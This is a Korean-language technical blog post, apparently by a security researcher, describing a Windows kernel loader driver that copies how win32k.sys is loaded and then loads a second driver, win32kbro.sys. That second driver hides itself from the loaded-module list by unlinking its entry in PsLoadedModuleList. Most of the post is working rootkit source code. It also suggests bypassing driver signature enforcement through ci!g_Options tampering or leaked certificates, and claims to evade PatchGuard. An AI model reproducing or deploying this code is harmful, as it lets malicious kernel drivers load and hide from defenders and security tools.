Search
🪟

CallMeWin32kDriver

Date
Select
Tags
CallMeWin32kDriver
gmh5225

CallMeWin32kDriver

NtSetSystemInformation에서 win32k.sys를 로드하는 방식을 차용하여 제작된 드라이버입니다.
CallMeWin32kDriver의 경우 win32kbro.sys(숨기고 싶은 드라이버)를 로드하는 로더 드라이버입니다.
해당 기법은 win32k.sys와 동일하게 GUI 프로세스가 접근할 때 페이지 인이 되어 메모리 접근이 가능합니다.

기능

Driver Load
ci!g_Options을 변조하여 드라이버를 로드하는 모든 로더 사용
유출된 인증서를 이용하여 서명하여 사용
Additional Information
win32k.sys를 로드하는 방식과 동일하게 로드
MnLoadSystemImage 함수를 이용
win32k.sys와 동일하게 GUI를 이용하는 Process로 Context를 변경해야 접근 가능
패치가드에 걸리지 않음
Files
CallMeWin32kDriver.sys : Loader Driver
win32kbro.sys : Core Driver

1. How to Load win32k.sys In NtSetSystemInformation

if ( !memcmp( (const void *)_mm_srli_si128(*(__m128i *)Buf1, 8).m128i_i64[0], L"\\SystemRoot\\System32\\win32k.sys", 0x3Eui64) ) v7 = 0x80000005; result = MmLoadSystemImageEx( (unsigned int)Buf1, 0, 0, v7, (__int64)&drv_section_pointer, (__int64)&driver_base_address); if ( (int)result >= 0 ) { v31 = RtlImageNtHeader(driver_base_address); if ( !v31 ) { MmUnloadSystemImage(drv_section_pointer, v32, v33, v34); return 0xC000007Bi64; } updated = ((__int64 (__fastcall *)(__int64))ExpInitializeSessionDriver)(driver_base_address + *(unsigned int *)(v31 + 40)); if ( (updated & 0x80000000) != 0 ) MmUnloadSystemImage(drv_section_pointer, v35, v36, v37); return updated; } if ( (_DWORD)result == 0xC000019D ) return 0xC000010Ei64;
C
복사
1.
win32k.sys의 경로를 가진 UNICODE_STRING을 생성합니다.
2.
해당 경로로 MmLoadSystemImageEx 함수를 호출하여 드라이버를 메모리에 로드합니다.
3.
ExpInitalizeSessionDriver로 DriverEntry 함수의 주소를 획득합니다.
4.
이후 획득한 DriverEntry를 리턴합니다.
여기까지가 NtSetSystemInformation의 win32k.sys 호출 방식입니다.

2. How to Load win32kbro.sys In CallMeWin32kDriver

1.
DriverEntry
특정 Process의 EProcess를 획득하여 해당 프로세스에 Attach하고 CallMeWin32kDriver 함수를 호출합니다.
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) { dprintf("new world!\n"); PEPROCESS pEpLsass = nullptr; for (ULONG i = 0; i < 0x5000; i += 4) { PEPROCESS pEp = nullptr; auto lStatus = PsLookupProcessByProcessId((HANDLE)i, &pEp); if (!NT_SUCCESS(lStatus) || !pEp) { continue; } auto pName = PsGetProcessImageFileName(pEp); // A more casual code if (pName && strstr(pName, "HoliamKit")) { pEpLsass = pEp; } ObDereferenceObject(pEp); if (pEpLsass) { dprintf("pEpHoliamKit %p\n", pEpLsass); break; } } if (pEpLsass) { KAPC_STATE ks; KeStackAttachProcess(pEpLsass, &ks); CallMeWin32kDriver(L"C:\\win32kbro.sys", wcslen(L"C:\\win32kbro.sys") * 2); KeUnstackDetachProcess(&ks); } return STATUS_VIRUS_DELETED; }
C
복사
Attach를 하는 이유는 MmLoadSystemImage의 내부함수 MmLoadSystemImageEx에서 CurrentProcess내 ProcessInSession Flag를 확인하기 때문입니다.
... if ( (PsGetCurrentProcess()[1].DirectoryTableBase & 0x1000000000000i64) == 0 ) //EPROCESS+0x464 & 0x10000(ProcessInSession Flag) { Status = 0xC0000017; ...
C
복사
2.
CallMeWin32kDriver
FakeDriverObject를 생성하는 행위를 제외하고 win32k.sys와 동일한 방식으로 win32kbro.sys가 로드됩니다.
__declspec( noinline) long CallMeWin32kDriver(wchar_t *DriverPath, unsigned long DriverPathLength, bool NeedPrefix /*= true*/) ... UNICODE_STRING usDriverName; usDriverName.Buffer = wszDriverPath; usDriverName.Length = (USHORT)uDriverPathAllLength; usDriverName.MaximumLength = MAX_PATH * sizeof(wchar_t); UNICODE_STRING usMmLoadSystemImage; RtlInitUnicodeString(&usMmLoadSystemImage, L"MmLoadSystemImage"); auto pMmLoadSystemImage = (decltype(&fnMmLoadSystemImage))(MmGetSystemRoutineAddress(&usMmLoadSystemImage)); if (pMmLoadSystemImage) { ULONG64 uSectionPointer = 0, uBaseAddress = 0; lStatus = pMmLoadSystemImage(&usDriverName, 0, 0, 1, &uSectionPointer, &uBaseAddress); if (NT_SUCCESS(lStatus) && uBaseAddress) { auto pImageNtHeader = RtlImageNtHeader((void *)uBaseAddress); if (pImageNtHeader) { // Fake Driver Object auto pNewDrvObj = (PDRIVER_OBJECT)ExAllocatePool(NonPagedPool, 0x1000); RtlSecureZeroMemory(pNewDrvObj, 0x1000); pNewDrvObj->DriverStart = (PVOID)uBaseAddress; // Call OEP auto pOEP = (PDRIVER_INITIALIZE)(uBaseAddress + pImageNtHeader->OptionalHeader.AddressOfEntryPoint); lStatus = pOEP(pNewDrvObj, nullptr); } } } else { lStatus = STATUS_NOT_SUPPORTED; } } while (0); return lStatus;
C
복사

3. win32bro.sys

간단한 DKOM 방식인 커널 전역 변수 PsLoadedModuleList를 순회하여 자신을 찾고 ListEntry를 끊어 드라이버를 숨깁니다.
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) { // find world PKLDR_DATA_TABLE_ENTRY pSelfEntry = nullptr; auto pNext = PsLoadedModuleList->Flink; if (pNext != NULL) { while (pNext != PsLoadedModuleList) { auto pEntry = CONTAINING_RECORD(pNext, KLDR_DATA_TABLE_ENTRY, InLoadOrderLinks); auto pBase = pEntry->DllBase; if (DriverObject->DriverStart == pBase) { pSelfEntry = pEntry; dprintf("find world:%p, DllBase=%p\n", pSelfEntry, pBase); break; } pNext = pNext->Flink; } } // hide world if (pSelfEntry) { KIRQL kIrql = KeRaiseIrqlToDpcLevel(); auto pPrevEntry = (PKLDR_DATA_TABLE_ENTRY)pSelfEntry->InLoadOrderLinks.Blink; auto pNextEntry = (PKLDR_DATA_TABLE_ENTRY)pSelfEntry->InLoadOrderLinks.Flink; if (pPrevEntry) { pPrevEntry->InLoadOrderLinks.Flink = pSelfEntry->InLoadOrderLinks.Flink; } if (pNextEntry) { pNextEntry->InLoadOrderLinks.Blink = pSelfEntry->InLoadOrderLinks.Blink; } pSelfEntry->InLoadOrderLinks.Flink = (PLIST_ENTRY)pSelfEntry; pSelfEntry->InLoadOrderLinks.Blink = (PLIST_ENTRY)pSelfEntry; KeLowerIrql(kIrql); dprintf("hide world!\n"); } dprintf("end world!\n"); return 0; }
C
복사

테스트

정상 윈도우

드라이버를 숨기지 않고 로드 할 경우 정상적으로 System 프로세스의 모듈에서 확인이 가능합니다.
win32kbro.sys DKOM 미수행
숨길 경우 System 프로세스의 모듈 리스트에서 확인이 불가능합니다.
win32kbro.sys DKOM 수행

참고